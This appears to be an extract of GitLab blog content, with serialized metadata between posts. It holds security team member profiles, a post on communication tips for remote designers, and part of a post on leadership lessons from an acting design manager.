architecture and best practices and am slowly making my way through [NIST 800-207](https://csrc.nist.gov/publications/detail/sp/800-207/final).\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nGo for it! Security is so incredibly dynamic and you can choose a career path that aligns with your specific interests. Security Assurance is especially interesting to me because we are truly leading the charge on helping organizations grow and mature their security posture, and we have the opportunity to partner with our wonderful customers along the way. My biggest piece of advice for Security Assurance professionals is to challenge yourself against complacency, be adaptive to change and think critically about how new requirements can be applied to meet intent without hindering the business. Also, good documentation is a shield.\n\n---\n\n### [Jennifer Blanco](/company/team/#jblanco2) - Sr. [Risk and Field Security](/handbook/security/security-assurance/field-security/) Engineer\nJoined GitLab June 2019 / Connect with Jennifer on [LinkedIn](https://www.linkedin.com/in/jenniferblanco1/)\n\n![Jennifer Blanco](https://about.gitlab.com/images/blogimages/working-in-security/jblanco_blog2.png){: .shadow.small.right.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nMy focus is on [Third Party Risk Management](/handbook/security/security-assurance/security-risk/third-party-risk-management.html), specifically creating processes to evaluate the security maturity of organizations to ensure they can meet or exceed GitLab’s own standards. This includes traditionally-procured vendors and other third parties that could impact GitLab through activities such as handling our sensitive data or providing a service that is a dependency to our business operations and product offerings. I’ve been iterating on the program to methodically focus on third parties most critical to GitLab while building out the security aspects assessed to identify the risk level to GitLab. Such considerations include: data protections the third party has in place, their organizational security management practices, the technical posture of products, and the ability to support our compliance to customer, industry and regulatory requirements. I partner with teams including Security Compliance, [Application Security](/topics/devsecops/), Legal, Procurement and IT to gather salient inputs that feed into the program’s evolution.\n\n**What are some projects you’re working on?**\nI partnered with my team members working on Security Operational Risk Management (StORM) to create the inherent risk rating scoring for third-party security reviews which effectively narrows the scope for our reviews to the most adverse impact on GitLab. I created a supplemental third-party hardening guide meant to be consumed by business owners and third parties directly, and I’m working on an internal guide on how to share GitLab data externally. I’ll be focusing on expanding third-party reviews to product assessment with the Application Security team and automating these in a more technical fashion. Other contributions I’ve made are identifying contractor requirements for elevated access and reviews for free apps which focus heavily around Terms of Service and Privacy Policy; since nothing is ever truly free.\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nMy goal is to become a Data Privacy expert to intersect my interests in systems security, regulatory compliance and ultimately contribute to industry and public policy around big data. Having worked on contracts for both the customer and vendor side, I know the importance of understanding the inner workings of generating and processing data to uncover all the critical paths to assess the adequacy of safeguards. But in addition to being a Security professional, I’m a consumer who wishes to protect my information by raising the bar in the industry and creating mechanisms to keep companies accountable. This is important work because industries can’t evolve along with the ingenious new threats without practitioners who really “get it”, from both a technical and risk perspective.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nThird party management differs by industry but one thing is constant: risk management. I recommend learning how to think about risk so that you can sniff it out and create relevant treatment plans. If specifically interested in the technology space, I would start by reviewing top companies’ security statements to understand how the leaders in the industry are protecting their customer assets. I’ve seen a lot of companies phase from keeping information tightly restricted to becoming more transparent so you can learn a lot about an operation from their public-facing materials. Remember to “follow the data” as a detective would follow the money. Data is big business nowadays and it’s just the beginning so learning how to sleuth out data, typically one of the most important assets for companies, will help in guiding your security reviews. On a final note, don’t be discouraged if you didn’t follow an Information or Computer Science track in your academic career. In this information age, there’s no shortage of resources as long as you have the drive to take advantage of it. Be cognizant of how you want to shape your career and take even the tiniest steps towards it; it adds up over time.\n\n---\n\n### [Juliet Wanjohi](/company/team/#jwanjohi) - Security Engineer, [Security Automation](/handbook/security/security-engineering/automation/)\nJoined GitLab May 2020 / Connect with Juliet on [LinkedIn](https://www.linkedin.com/in/juliet-wanjohi/) and [Twitter](https://twitter.com/jay_wanjohi)\n\n![Juliet Wanjohi](https://about.gitlab.com/images/blogimages/working-in-security/jwanjohl_blog2.png){: .shadow.small.left.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI recently joined the Security Automation team as a Security Engineer after an exciting [summer internship in GitLab’s Security department](/blog/what-its-like-to-intern-in-gitlab-security/). My main responsibilities include the design, build and deployment of security tooling and automation in order to help speed up security-specific efforts. This involves working with my fellow team members as well as various GitLab users and customers. At the moment, I am ramping up my skills and knowledge in languages, tools and technologies that our team uses in their automation efforts.\n\n**What are some projects you’re working on?**\nCurrently as a team effort, we’re building an anti-spam service that will aid in the identification and prevention of spam-related content across GitLab the product. Through this project, I am getting the chance to take part in technology research and architectural conversations related to building the product and how it will ultimately be consumed by users. Previously, during my internship, I was also able to work on a variety of projects ranging from improving path traversal checks on file names and file paths for GitLab the product to using machine learning techniques for security detection use-cases.\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nI am interested in learning more about securing cloud infrastructure and cloud native applications. Considering a lot of applications are moving to the cloud, I feel that this would be a very strong skill set to have moving into the future. An interesting avenue that I would like to pursue further is focusing on protecting [Machine Learning as a Service](https://www.frontiersin.org/articles/10.3389/fdata.2020.587139/full) cloud platforms.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nBuilding yourself a support network of friends, mentors and peers can go a long way in helping you shape your security career. This can be in the form of seeking advice on career goals and/or guidance on resources that can help you grow your knowledge and skill set. Taking each day as an opportunity to learn something new is also super important as one needs to keep up with changing technological trends in security.\n\n---\n\n### [Liz Coleman](/company/team/#lcoleman) - Sr. Security Assurance Engineer, [Compliance](/handbook/security/security-assurance/security-compliance/ )\nJoined GitLab January 2020 / Connect with Liz on [LinkedIn](https://www.linkedin.com/in/elizabeth-coleman-5779418b/)\n\n![Liz Coleman](https://about.gitlab.com/images/blogimages/working-in-security/lcoleman_blog2.png){: .shadow.small.right.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI am currently part of the Security Compliance team and my main responsibilities include managing the SOC 2 program, user access reviews, control testing and any other ad hoc security compliance related activities that come my way. As compliance initiatives span the entire organization, I work with a variety of other teams in order to get my job done.\n\n**What are some projects you’re working on?**\nRight now we are in the process of obtaining our SOC 2 Type 2 certification. This has required a continuous effort in order to get our GitLab Control Framework (GCF) control set up and running, tested, and into a state of continuous control monitoring. As the [directly responsible individual](/handbook/people-group/directly-responsible-individuals/#what-is-a-directly-responsible-individual) for the SOC 2 program, I have been living and breathing SOC-related control testing, project management and external audit preparation for the last few months now. It’s quite a bit of work but I know it will be well worth it once GitLab obtains their certification.\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nI’ve always been interested in learning more about the growth of cloud native computing and how organizations have had to adapt and change processes or procedures in order to best manage workflows. Right now, I’m currently working on expanding my ISO27001 knowledge as that is next on the horizon for possible GitLab certifications.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nOpen your mind and put yourself in a mental space of learning and growing from everyone around you. Working in security compliance requires knowledge and awareness about all aspects of an organization. Having that general understanding of which teams do what and why will help develop your comprehension of compliance requirements by function, team, and holistically for your organization.\n\n---\n\n### [Meghan Maneval](/company/team/#mmaneval20) - Manager, [Risk and Field Security](/handbook/security/security-assurance/field-security/)\nJoined GitLab July 2020 / Connect with Meghan on [LinkedIn](https://www.linkedin.com/in/meghanmaneval/)\n\n![Meghan Maneval](https://about.gitlab.com/images/blogimages/working-in-security/mmaneval_blog2.png){: .shadow.small.left.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI am the Manager of Risk and Field Security and work with an amazing team of Risk and Field Security Assurance Engineers here at GitLab. With my position and responsibilities I also work very closely with my fellow Security Managers, members of Sales and [Customer Success](/handbook/customer-success/), and GitLab team members across the organization. My team’s goal is to identify risks that could negatively impact GitLab and our ability to meet our goals.\n\nIf you think of your car, we are your safety features and focus on three main areas of security:\n* [Field Security](/handbook/security/security-assurance/field-security/customer-security-assessment-process.html) is like your car insurance. We assure our customers that we can meet their security needs and thus protect our revenue stream.\n* [Third Party Risk](/handbook/security/security-assurance/security-risk/third-party-risk-management.html) is like your lane assistance. We identify risks from third parties and direct the organization away from danger.\n* [Security Operational Risk](/handbook/security/security-assurance/security-risk/storm-program/index.html) is like your check engine light. We identify risks from within the company and assist in remediating them.\n\nIf you’re interested in learning more you can check out this [video on how the Risk and Field Security team adds value to GitLab]( https://www.youtube.com/watch?v=h95ddzEsTog).\n\n**What are some projects you’re working on?**\nMy team and I recently implemented a SaaS governance, risk, and compliance (GRC) tool to manage our security assurance activities. We are still in the process of fully implementing it, but we have made a lot of progress so far. Within this project we got the opportunity to review all of our processes and really uplevel the maturity of our programs. I recently presented at a user group and discussed the implementation and how [GitLab utilizes the tool for Risk Management activities](https://www.youtube.com/watch?v=ZOiHT-N1tLY).\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nI’m actually really excited about a new program we are building: the Customer Success Partnership Program. This is a multi-functional partnership where each of us will learn from each other about the various ways we can help support our customers. I’m really looking forward to learning more about the sales and support processes in place at GitLab and help iterate on them.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nAlign yourself with a strong mentor who understands how the organization works. Most security principles are applicable across most industries and organizations. Encryption is encryption, right? But it is critical that you understand how security fits into the organization, how management views security, and how you can integrate security into other processes. Making strong connections throughout the organization is critical to success in risk management. It makes delivering “bad news” easier and allows you to make more educated recommendations to remediate them.\n\n---\n\n### [Mitra Jozenazemian](/company/team/#mjozenazemian) - Senior Security Engineer, [Security Incident Response Team](https://handbook.gitlab.com/job-families/security/security-engineer/#sirt---security-incident-response-team)\nJoined GitLab July 2020 / Connect with Mitra on [LinkedIn](https://www.linkedin.com/in/mitra-jozenazemian-0a05233b)\n\n![Mitra Jozenazemian](https://about.gitlab.com/images/blogimages/working-in-security/mjozenazemian_blog2.png){: .shadow.small.right.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI work on the GitLab [Security Incident and Response (SIRT) team](/handbook/security/#sirt---security-incident-response-team-former-security-operations). For any security incident or event that would happen here at Gitlab, we act like firefighters-- researching and responding to incidents, while working with other teams to mitigate the incident ASAP. The rest of the time, we are implementing and improving tools that can help us to detect and respond to the incidents faster and more effectively.\n\n**What are some projects you’re working on?**\nRecently, we implemented a new [security information and event management (SIEM) solution](/blog/how-we-made-gitlab-more-secure-in-twenty-twenty/) to further improve visibility and detection and response capabilities. This allows my team to send logs from different applications to the new SIEM and then we work to define different scenarios of suspicious activities. From these potential scenarios, we create alerts for detecting them and runbooks to help us respond to those alerts.\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nI would like to be more involved in the red team activities. I’d like to wear their red hat and try to see the organization from an attacker’s eyes and find the gaps and vulnerabilities that might be hidden.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nTechnology, and therefore security, is a constantly changing area. So, if someone were interested in being a part of SIRT, they’d need to be familiar with several different types of technologies, frameworks and programming languages. They should remain up-to-date and informed on news and research about recent technologies, and new cyber security attacks and vulnerabilities. Being able to develop the ability to think like both an attacker and defender to improve detections and post-incident recovery process is also a very helpful skill in this area.\n\n---\n\n### [Rupal Shah](/company/team/#rcshah) - [Security Compliance Engineer](/handbook/security/#security-compliance)\nJoined GitLab October 2020 / Connect with Rupal on [LinkedIn](https://www.linkedin.com/in/rupal-shah-57a384/)\n\n![Rupal Shah](https://about.gitlab.com/images/blogimages/working-in-security/rshah_blog2.png){: .shadow.small.left.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI’m still pretty new to GitLab, but once I am fully up to speed, I will be the Governance, Risk and Compliance Administrator managing the GRC application, creating training, updating policy documents, evaluating frameworks and assisting with user access reviews, audits, control testing and other ad hoc security compliance related projects that are defined.  I will be working with a variety of teams throughout GitLab as Compliance affects everyone.\n\n**What are some projects you’re working on?**\nWe are onboarding our new GRC tool (ZenGRC) and I am defining a change management runbook for significant/high risks changes.  We are bringing our security training in house, so I am creating a new general security awareness training for new hires and annual review by team members. I am also focusing my time on formalizing our information security policy and standards.\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**\nI have always wanted to be involved and learn more about [FedRamp](https://www.gsa.gov/technology/government-it-initiatives/fedramp) and the entire process to get certified.  As GitLab is currently in the analysis stages, it is nice to be a part of the process and get a better understanding of the requirements necessary if we decide to get certified.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**\nDon’t be scared and don’t feel overwhelmed.  Take a deep breath and dive in!  I come from a non-security/compliance background and all it takes is passion and a good mentor.  Ask lots of questions and don’t be afraid to ask any question you have!  The more you ask, the more you learn!\n\n---\n\n### [Heather Simpson](/company/team/#heather) - Senior External Communications Analyst, [Security Engineering ](/handbook/security/security-engineering/)\nJoined GitLab February 2019 / Connect with Heather on [LinkedIn](https://www.linkedin.com/in/heathersimpson700/) and [Twitter](https://twitter.com/heatherswall)\n\n![Heather Simpson](https://about.gitlab.com/images/blogimages/working-in-security/hsimpson_blog2.png){: .shadow.small.right.wrap-text}\n\n**What do you do and who do you collaborate with in your role?**\nI’ve got a unique job within our security department in that I work in a marketing communications capacity, something I referenced in the [first blog post in this series](/blog/breaking-into-security/).  I focus on increasing awareness and strengthening community engagement and industry recognition of GitLab Security initiatives, programs and team members’ expertise through campaigns and initiatives that include blogs, contributed articles, social media, online events and more. To do this, I collaborate heavily with our security teams and partner with our content, corporate and social marketing teams. I sit within our Security and Engineering Research team and so a large focus area for me is increasing awareness and engagement in our [bug bounty program](https://hackerone.com/gitlab). Part of this includes working with the hackers that contribute to our program and partnering with the HackerOne communications team to recognize the amazing contributions and talents these security researchers bring to making GitLab more secure.\n\n**What are some projects you’re working on?**\nDecember was a busy month, where most of my time went to writing and editing blogs. [“2020 through a bug bounty lens”](/blog/twenty-twenty-through-a-bug-bounty-lens/) takes a look back at the past year in terms of bug bounty metrics (reports received, hackers contributing, etc) and bounties paid out 💰. It also celebrates five winners of a contest we held in the fall, where the prize was a custom GitLab mechanical keyboard 🎉-- organizing [this contest](/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/#celebrating-great-reports-and-great-reporters) and that piece of custom swag are all projects I lead.  Other new series I’ve developed and am working on are our [“Ask a Hacker” blog series that profiles some of the top hackers contributing to our bug bounty program](/blog/rpadovani-ask-a-hacker/) and our live GitLab Security Ask Me Anything (AMA) series which kicked off with an [AMA with hacker Riccardo Padovani](https://youtu.be/SK_vuZCafZ4) and will follow soon with an [AMA with GitLab’s own Red Team on Jan 26, 2020](https://docs.google.com/forms/d/e/1FAIpQLSekc1LYWYbhORNzZvLza8Btn9V0wY7K9SGVZed5RpJbczqdfw/viewform?usp=sf_link).  You can always see what I’m working on through [my GitLab profile](https://gitlab.com/heather) and also by checking out our [Security blogs](/blog/tags.html#security). I started our Security blogging program when I joined GitLab in February 2019 and, together with my security team mates, we’ve published 52 blogs to date with more great content in the works!  Speaking of, if there’s something you’d like to read about, whether it’s: what makes our approach to red teaming unique or how do our security researchers decide what, exactly, they are going to research? Message me, I’d love to hear your ideas!\n\n**What’s something new and/or exciting that you’d like to learn or be involved in?**  I think I’d like to more deeply develop my skills in the areas of search engine optimization and marketing data and analytics; this would strengthen efforts in my current role and flesh out my existing digital marketing experience and expertise.\n\n**If someone was interested in a role like yours, what’s the most helpful piece of advice you could offer?**  Be comfortable with being uncomfortable.  Many women in tech are used to being one of few women “in the room”. However, as someone working in a marketing capacity, sitting inside an engineering department, I find I’m usually (also) the only non-engineer on most calls and teams. And that’s just fine! But I’ve had to learn to be comfortable with owning and asserting my area of expertise, with asking questions for clarification when I don't understand something and with throwing first iteration content out there acknowledging that I need an SME’s help to ensure accuracy. And you know what? I’ve learned two things: I understand way more about technical concepts than I give myself credit for most times 💪 and, my asking questions and seeking clarification helps to create better and more readily consumable content for our audiences -- a win for everyone! 🙌\n\n---\n\n## Sound interesting? We're hiring!\n\nCheck out the [career opportunities page](/jobs/). Don't meet 100% of the qualifications for one of these roles? Still share your information with us! We're hiring within our Security department (and beyond) and looking for unique backgrounds and expertise. You can also learn more about GitLab’s [culture](/company/culture/) and [values](https://handbook.gitlab.com/handbook/values/) in order to get an understanding of what it might be like to work here!\n\nCover image by [#WOCinTech Chat](https://www.wocintechchat.com/).\n{: .note}\n\n",[674,676],{"slug":20140,"featured":6,"template":678},"whats-it-like-to-work-security-at-gitlab","content:en-us:blog:whats-it-like-to-work-security-at-gitlab.yml","Whats It Like To Work Security At Gitlab","en-us/blog/whats-it-like-to-work-security-at-gitlab.yml","en-us/blog/whats-it-like-to-work-security-at-gitlab",{"_path":20146,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20147,"content":20152,"config":20158,"_id":20160,"_type":16,"title":20161,"_source":17,"_file":20162,"_stem":20163,"_extension":20},"/en-us/blog/how-to-improve-communication-remote-designer",{"title":20148,"description":20149,"ogTitle":20148,"ogDescription":20149,"noIndex":6,"ogImage":11919,"ogUrl":20150,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20150,"schema":20151},"How to improve your communication as a remote designer in 6 simple steps","When you're explaining designs or requesting feedback, it's easy to give too much information. Here are some tips on how you can communicate better as a designer, especially if you're working remotely.","https://about.gitlab.com/blog/how-to-improve-communication-remote-designer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to improve your communication as a remote designer in 6 simple steps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Moreira da Silva\"}],\n        \"datePublished\": \"2021-01-06\",\n      }",{"title":20148,"description":20149,"authors":20153,"heroImage":11919,"date":20155,"body":20156,"category":18484,"tags":20157},[20154],"Pedro Moreira da Silva","2021-01-06","\n{::options parse_block_html=\"true\" /}\n\n## Communication is hard\n\nAt GitLab, [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) is one of our core values. Being efficient in everything we do is important, but it's even more important when communicating and collaborating with others. We need this emphasis on efficiency, [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration), and [communication](https://about.gitlab.com/handbook/communication/) for GitLab to work as an all-remote company, with zero offices and team members distributed across the globe.\n\nIn the context of design, when you're explaining a design decision or requesting feedback, it's easy to fall into the trap of giving too much information. **You want people to understand it right away, so you give as much background and arguments as possible. The problem is that long messages and explanations can put up a collaboration-barrier.** When people have many things competing for their attention, it's hard for them to take the necessary time to read long messages and engage themselves in a constructive discussion. Also, often the most important points get diluted because of how long something is.\n\n**So how can you communicate better and more efficiently as a designer, especially if you're working remotely?** I'm a designer working remotely for over 4 years and I've learned a lot about communication. Let me share 6 practical tips that you can use when sharing information or requesting something from someone:\n\n1. Important things first\n1. Keep it short\n1. Balance context and conciseness\n1. Use multiple formats\n1. Clear calls-to-action\n1. Use simple language\n\nAt the end of this article, there's a [structure and example that puts all of these tips together](#example), so that you can improve your communication today.\n\n## ❗️ Important things first\n\n**Make sure you communicate the important things first.** Journalists do this very well by using the [inverted pyramid](https://en.wikipedia.org/wiki/Inverted_pyramid_(journalism)) method: information is prioritized so that the major details come before the minor details. So empathize with your audience and think how much little time they can afford to invest in your message. Prioritize and structure your communication so that the key aspects come first and it's as easy as possible to learn about them.\n\n## 📟 Keep it short\n\n[**Keeping written communication short**](https://handbook.gitlab.com/handbook/values/#keep-broadcasts-short) **and** [**giving short verbal answers**](https://handbook.gitlab.com/handbook/values/#short-verbal-answers) goes hand in hand with communicating the important things first. If you need to give a lot of information, maybe there's a communication or expectations problem.\n\nAlthough we default to [asynchronous communication](https://about.gitlab.com/handbook/communication/#asynchronous-communication) at GitLab, sometimes a short video call is enough to unblock and make sure everyone's aligned without having to invest too much time in writing and reading something. Our rule of thumb is: “if you have gone back and forth 3 times, it's time for a video call.” (also see [video calls guidelines](https://about.gitlab.com/handbook/communication/#video-calls)).\n\nOther times, it can also be that the topic at hand is just too large to discuss in one go. Think about how you can break it down into smaller, more “consumable” pieces. It will make life easier for you, the other participants, and anyone else that is following that topic. To help you break things down, read “[Iterate Like a GitLab Designer](https://about.gitlab.com/blog/iterate-like-a-gitlab-designer/)” or our handbook section on [iteration](https://handbook.gitlab.com/handbook/values/#iteration).\n\n## 🤹 Balance context and conciseness\n\n**Try to provide as much context as possible while balancing the conciseness of your message.** This may seem the opposite of keeping it short, but you do need to strike a balance. You don't want your message to be too short, as it can cause confusion and require clarification, which ultimately delays things. But you also don't want your message to be too long, for all of the reasons I've mentioned so far. Striking this balance sounds incredibly challenging, but fortunately, we have some methods to help us with that, like the inverted pyramid that I described before or multiformat communication.\n\n## 🎨 Use multiple formats\n\n**Communicating through multiple formats means thinking about your audience and applying your message to the formats that are most likely to attract that audience.** An example is requesting feedback on an idea: you can share an image, a brief paragraph explaining the idea, a list of bullet points with the pros and cons, and maybe even a short video where you walk people through it. This way, each person jumps to and consumes the format that resonates the most with them, how they want it.\n\nBut remember that you don't have to use every format, every time. It depends on who you're communicating with, what you're communicating, and when a certain action is needed. Think about these aspects and choose the communication format that best suits them (and also the time you can invest in crafting your message).\n\n## ☝️ Clear calls-to-action\n\n**If you have calls-to-action, make them clear, direct, and specific.**\n\nPerhaps the most important aspect of those three: try to direct your asks to specific people, instead of a group of people or no one at all. The work you put into selecting and targeting who you ask is proportional to the quality of their responses. Asking a group of people is sometimes necessary, but there's a risk of getting nothing but “radio silence,” so be extra careful in crafting your message if you're targeting a group.\n\nRegarding CCs, one of our [communication best practices](https://about.gitlab.com/handbook/communication/#top-tips-and-best-practices) says it best:\n\n> It is OK to bring an issue to someone's attention with a CC (\"cc @user\"), but CCs alone are not enough if specific action is needed from someone. The mentioned user may read the issue and take no further action. If you need something, please explicitly communicate your need along with @ mentioning who you need it from.\n\nBe clear and specific about the who, what, and why. If it's a vague or broad ask, it will be much more difficult for others to respond.\n\nFinally, place any asks you have at the beginning of your message. These asks fall into the “important things first” tip because, well, they are supposed to be important! If possible, consider repeating them at the end of the message as a reminder.\n\n## 👐 Use simple language\n\n**Finally, use** [**simple language**](https://about.gitlab.com/handbook/communication/#simple-language) **and terms that everyone understands** (see [ubiquitous language](https://about.gitlab.com/handbook/communication/#ubiquitous-language)). For example, instead of using the “IxD” acronym, say “interaction design.” Or explain what that means with simple language if you can, like saying “how a user might interact with the user interface and how it behaves.”\n\n## Example\n\nTo bring it all together, I'll first share with you a structure that you can use when requesting feedback or communicating your work, either in a written message, a video, or a presentation:\n\n1. **Summary**: A very short summary ([tl;dr](https://en.wiktionary.org/wiki/tl;dr)) of your message, with simple language and shared terms. If possible, consider bolding the whole summary so it sticks out from the rest.\n1. **Asks**: Be clear about what you want and until when. If possible, mention specific people and make sure to bold/highlight their names (if not automatically highlighted). When requesting feedback, specify the kind of feedback you're looking for, what they should comment on, and also what they should not comment on.\n1. **Walkthrough**: If you have a video or presentation that gives an overview of the topic, link to it. Better yet, embed it in your message to reduce clicks and friction, but always keep a link so it's accessible to everyone.\n1. **Visual**: Try to add a simple image/diagram that describes the core elements of what you're communicating.\n   - If you have more visuals that you'd like to share, link to an external page with them. For example, at GitLab we use Figma to design user interfaces, so we link to Figma files where people can view all of the design work.\n1. **Details**: More information in the form of short paragraphs or lists. It could be links to any additional references, support documentation, or artifacts. Remember to keep them short!\n   - Tip: Some writing tools support the `\u003Cdetails>` HTML tag, that allows you to easily hide information behind a toggle, like an accordion. See the [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) for a simple example and copy-pastable markup.\n1. **Close**: Consider reiterating your asks and thank people for their time.\n\nAnd to see how this can work in practice, here's an example message, where I requested feedback from my team members on a few possible design options:\n\n![Example feedback request message showing an embedded video and collapsible information panels](https://about.gitlab.com/images/blogimages/how-to-improve-communication-remote-designer/example.gif){: .shadow.center}\n\n## Keep improving your communication skills\n\nThe act of improving one's communication skills doesn't stop, because the “why, what, how, and who” are always changing. The quality of communication can make or break an individual, a team, or an organization. As Anthony Robbins puts it:\n\n> The way we communicate with others and ourselves ultimately determines our quality of life.\n\nIn this article I focused on writing, speaking, and showing. But communication is also about how you read, listen, and watch. Maybe I'll write about that other side of communication in the future. In the meantime, I leave you with our [handbook page on communication](https://about.gitlab.com/handbook/communication/), which is a great place to learn more about what makes good communication in a remote company.\n\nCover image by [Stellan Johansson](https://unsplash.com/@stellanj) on [Unsplash](https://unsplash.com/photos/1PP0Fc-KSd4)\n{: .note}\n",[2368,2248,3798,2249],{"slug":20159,"featured":6,"template":678},"how-to-improve-communication-remote-designer","content:en-us:blog:how-to-improve-communication-remote-designer.yml","How To Improve Communication Remote Designer","en-us/blog/how-to-improve-communication-remote-designer.yml","en-us/blog/how-to-improve-communication-remote-designer",{"_path":20165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20166,"content":20171,"config":20177,"_id":20179,"_type":16,"title":20180,"_source":17,"_file":20181,"_stem":20182,"_extension":20},"/en-us/blog/5-leadership-lessons-as-product-design-manager",{"title":20167,"description":20168,"ogTitle":20167,"ogDescription":20168,"noIndex":6,"ogImage":18477,"ogUrl":20169,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20169,"schema":20170},"5 Leadership Lessons as Product Design Manager","Shortly after my promotion to Staff Product Designer, I was given the opportunity to act as Product Design Manager for CI/CD. These are some of the lessons I learned on design leadership at GitLab.","https://about.gitlab.com/blog/5-leadership-lessons-as-product-design-manager","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Leadership Lessons as Product Design Manager\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rayana Verissimo\"}],\n        \"datePublished\": \"2021-01-05\",\n      }",{"title":20167,"description":20168,"authors":20172,"heroImage":18477,"date":20174,"body":20175,"category":18484,"tags":20176},[20173],"Rayana Verissimo","2021-01-05","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitLab has [a number of career development opportunities](https://about.gitlab.com/handbook/engineering/career-development/), and during my time as an individual contributor (IC) I intentionally leaned towards leadership.\n\nIn October 2020, my manager decided to leave the organization and asked if I was ready to take on her position as Product Design Manager for CI/CD. The [acting manager](https://about.gitlab.com/handbook/engineering/career-development/#acting-manager) is an interim position dedicated to ICs experimenting with the role as they work on determining their career path. I took this role and started reporting directly to the Director of Product Design.\n\nIn parallel, I was promoted to Staff Product Designer! Wait, there's more: my team, Release Management, [was dissolved](https://gitlab.com/gitlab-com/Product/-/issues/1698) and I was assigned as shared resource between the Runner and Testing teams; meaning I had to handoff all my design work and onboard two new stage groups. I remember feeling overwhelmed and excited at the same time. I also remember thinking that growth is supposed to be uncomfortable, and if I had to go through all these new challenges in my professional life I was glad it was at GitLab.\n\nWhat follows are a few lessons I learned in my (ongoing) stint as the acting Product Design Manager for CI/CD. Eventually, I aim to become a manager again, and I hope to remember these lessons and learn even more.\n\n## 1. Define what success looks like for your new role\n\nI knew I had to trace a plan in order to effectively perform my new roles. I set a series of goals that were people and process focused, and that I wanted to eventually feed back into my personal development plan.\n\nAs an acting manager, I first focused on learning how I could help sustain a sense of stability and trust in the team. Performance Reviews and career growth conversations were my top concerns (meaning, learning the _what_ and _how_ of it). Another key element of success was to establish relationships with counterparts in order to understand what they care about, how they collaborate with UX, and what concerns they have. This foundational work provided insights on how I could help myself and others, as well as assess if what I thought was important really needed my attention.\n\nAs a Staff Designer, my plan was to set boundaries to the IC work, specifically regarding all the tactical design I knew I would not be able to deliver and communicate that soon and often to people around me.\n\nBecause we use GitLab for _everything_, I also took the opportunity to create some artifacts that could help automate the onboarding and planning for new acting managers, as well as a plan for my design handoff and onboarding:\n\n-   I defined my [quarterly goals](https://gitlab.com/rayana/plan/-/blob/master/goals/quarterly-goals.md) around my new roles and shared them with my manager and counterparts.\n-   I created an [issue template](https://gitlab.com/gitlab-com/people-group/Training/-/blob/master/.gitlab/issue_templates/acting-manager.md) for onboarding new acting managers.\n-   I made a [plan to transition all my design work](https://gitlab.com/groups/gitlab-org/-/epics/4815) and assigned it to new DRIs.\n-   I used my Group Manager's onboarding issues to get up to speed with understanding the [Runner](https://gitlab.com/gitlab-com/Product/-/issues/1685) and [Testing](https://gitlab.com/gitlab-com/Product/-/issues/1687) groups' visions, roadmaps, competitive landscapes, team health, processes, and partnerships across the organization.\n\n## 2. Managing your schedule is essential\n\nI inherited my previous manager's meetings, meaning my calendar was impossible to manage for a couple of weeks. A packed schedule means I am likely to be launched into an anxiety spiral. Because I am both IC and manager, this created a situation where I was splitting my brain and my attention trying to do too many things at once.\n\n[Darby Frey](https://about.gitlab.com/company/team/#darbyfrey), Sr. Engineering Manager for Verify, shared some kind words with me. He reminded me that I wouldn't be able to do everything I want or need to. _\"It’s impossible to do two full-time jobs. My advice is to do what you can; time-box things; set priorities for the calls; be deliberate about what you choose not to do.\"_\n\n-   I kept creating [a weekly plan](https://gitlab.com/rayana/plan/-/tree/master/tasks/2020) with my priorities. This helped me stay grounded and acknowledge I could only deliver so much in a week.\n-   I started being intentional about focus time by blocking my calendar, forcing myself to work on specific items rather than \"freestyle\" my tasks. This was in particular very painful.\n-   I picked up the habit of time-boxing my work using [Forest](https://www.forestapp.cc/) - a popular productivity app that helps you stay focused. This made me realize that working 3-4 hours without a break was unsustainable and that 30-minute to 1-hour blocks of focused work gives me a greater sense of accomplishment and is healthier.\n\nMy mantra in the last few months has been: be kind to yourself. I believe I still have a long way to go. In the meantime, these resources have helped me quite a bit:\n\n-   [Remote work: 9 tips for eliminating distractions and getting things done](https://about.gitlab.com/blog/eliminating-distractions-and-getting-things-done/)\n-   [7 Tips for Managing Your Schedule Like a Pro](https://www.entrepreneur.com/article/243962)\n\n## 3. Design Managers at GitLab are facilitators\n\nI thought I had a pretty good sense of what being a manager meant... until I became one myself. I've always enjoyed coaching, but there's a huge difference between being a buddy and a manager.\n\nFrom career development to design critique, I believe the true role of managers in the UX department is to facilitate great work and make sure our designers are being supported. I learned that this means getting to know what each designer needs individually - and building that relationship is a job of its own. [Servant-leader qualities](https://about.gitlab.com/company/culture/all-remote/being-a-great-remote-manager/#servant-leader-qualities) are especially true if you are now [managing people who used to be your peers](https://hbr.org/2012/12/how-to-manage-your-former-peer). There was certainly a change in the dynamics for me, but the end goal remained the same: wanting 